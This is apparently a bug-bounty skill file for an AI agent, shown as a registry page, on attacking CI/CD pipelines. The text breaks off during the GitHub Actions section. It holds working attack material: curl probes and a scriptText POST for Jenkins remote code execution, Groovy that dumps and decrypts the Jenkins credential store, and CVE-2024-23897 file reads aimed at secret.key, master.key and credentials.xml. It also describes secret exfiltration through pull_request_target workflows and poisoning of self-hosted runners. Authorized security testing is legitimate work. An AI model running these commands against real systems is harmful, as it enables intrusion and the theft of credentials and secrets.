hunt-cicd
Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target Pwnrequest + ${{ }}-into-shell), self-hosted runner poisoning, OIDC trust-policy abuse, Jenkins script-console RCE and CVE-2024-23897 file read, GitLab CI runner-token registration, Terraform state file leakage, artifact/log secret leakage, pipeline env-var disclosure. Use when target has a public GitHub/GitLab org, exposed CI dashboards (Jenkins/TeamCity/Drone/Argo), or build artifacts/images are reachable.
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安装与使用
运行命令前先阅读来源与依赖说明。复制命令不会自动安装或执行。
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cicd技能说明
name: hunt-cicd description: "Hunt CI/CD pipeline vulnerabilities — GitHub Actions workflow injection (pull_request_target Pwnrequest + ${{ }}-into-shell), self-hosted runner poisoning, OIDC trust-policy abuse, Jenkins script-console RCE and CVE-2024-23897 file read, GitLab CI runner-token registration, Terraform state file leakage, artifact/log secret leakage, pipeline env-var disclosure. Use when target has a public GitHub/GitLab org, exposed CI dashboards (Jenkins/TeamCity/Drone/Argo), or build artifacts/images are reachable." sources: hackerone_public, github_security_lab, cve_database, portswigger_research report_count: 18
HUNT-CICD — CI/CD Pipeline Security
Crown Jewel Targets
Jenkins /script console reachable = immediate RCE. A GitHub Actions pull_request_target (or workflow_run) workflow that checks out the PR head ref and references untrusted ${{ github.event.* }} in a shell run: = "Pwnrequest" → secret exfil from a fork PR with zero approval.
Highest-value findings:
- Jenkins Script Console — Groovy execution → full RCE → dump the credential store
- Jenkins CLI file read (CVE-2024-23897) — pre-auth
@/etc/passwdarg expansion → readsecret.key/credentials.xml→ forge admin → RCE - GitHub Actions
pull_request_targetinjection (Pwnrequest) — fork PR controls${{ }}inside a privileged shell step → exfilGITHUB_TOKEN(oftencontents:write) and org secrets - Self-hosted runner poisoning — non-ephemeral runner on a public repo executes a fork PR's build → attacker code runs on the runner host → persistence + secret theft
- OIDC trust-policy abuse — over-broad
subclaim wildcard in an AWS IAM role trust policy → any workflow in the org assumes a privileged cloud role - Terraform state leakage —
*.tfstatein public S3/GCS/Blob → plaintext infra creds, DB passwords, private keys - Runner token / artifact / log leakage — register attacker runner, or harvest secrets printed before
::add-mask::
"It-Didn't-Happen-Without-Proof" Gate (Read First)
CI/CD findings are over-reported because dashboards look exploitable. Before claiming anything:
- A login page is not an RCE. A reachable
/scriptURL that returns a Jenkins login or403is not an unauthenticated script console. Only an actualscriptTextPOST returning your command's output counts. - A
pull_request_targetworkflow is not automatically injectable. It is only exploitable if untrusted data flows into an execution sink. Confirm the data flow (see FP section) before you ever open a PR. - Blind injection requires OOB. If the vulnerable step has no output you can read, you MUST confirm via Burp Collaborator / interactsh — a unique per-sink subdomain that the runner calls out to. A workflow that "ran green" is not proof your code executed.
- A
.tfstateHTTP 200 is not cred exposure until you parse it. Diff against a baseline (see FP section) — manytfstatefiles contain only resource IDs and outputs, no secrets.
Phase 1 — Jenkins: Detection, Script Console, CVE-2024-23897
# Fingerprint — the X-Jenkins header leaks the exact version (drives CVE selection)
curl -sI "https://$TARGET/" | grep -iE "x-jenkins|x-hudson"
curl -sI "https://$TARGET/login" | grep -i "x-jenkins-session"
for p in /script /jenkins/script /ci/script /scriptText /jenkins/scriptText; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$p")
echo "$p -> $code" # 200 on /script == anon script console; 403/401 == auth required (NOT a finding alone)
done
Unauthenticated script console → RCE (only if the POST returns output):
# This must return uid=...(jenkins). If it returns the Jenkins login HTML or a
# Crowd/SSO error page, the console is NOT anon-accessible — do not report it.
curl -s -X POST "https://$TARGET/scriptText" \
--data-urlencode 'script=println "id".execute().text'
Dump the credential store (Groovy decrypts secrets the UI masks):
import com.cloudbees.plugins.credentials.CredentialsProvider
import com.cloudbees.plugins.credentials.common.StandardUsernamePasswordCredentials
import org.jenkinsci.plugins.plaincredentials.StringCredentials
CredentialsProvider.lookupCredentials(StandardUsernamePasswordCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.username} :: ${it.password}"
}
CredentialsProvider.lookupCredentials(StringCredentials, jenkins.model.Jenkins.instance).each {
println "${it.id} :: ${it.secret}"
}
CVE-2024-23897 — pre-auth arbitrary file read via Jenkins CLI (args4j @-file expansion; affects ≤2.441 / LTS ≤2.426.2). With anonymous read, this escalates to RCE by reading secret.key + master.key to decrypt credentials.xml, or reading a user's config.xml API token:
# Download the matching jenkins-cli.jar from /jnlpJars/jenkins-cli.jar first.
java -jar jenkins-cli.jar -s "https://$TARGET/" -http connect-node "@/etc/passwd"
# The file content is echoed back in the error. Then target:
# @/var/lib/jenkins/secret.key @/var/lib/jenkins/secrets/master.key
# @/var/lib/jenkins/credentials.xml
Validation: the response must contain real file content (root:x:0:0). A generic "no such agent" with no leaked line means the instance is patched or the path is wrong — not a finding.
Phase 2 — GitHub Actions: Pwnrequest, ${{ }}-into-Shell, Runner Poisoning, OIDC
The core distinction (this is where 90% of false PoCs die)
There are two sink classes — they need different payloads:
${{ }}template expansion into a shellrun:— the expression is substituted into the script before the shell runs, so a newline/backtick/$(...)in the untrusted field becomes literal shell. This is the classic injection.- Environment variable read inside the shell —
GITHUB_TOKEN,secrets.X, and anyenv:-mapped value are shell variables whose value IS the string. To exfiltrate them you use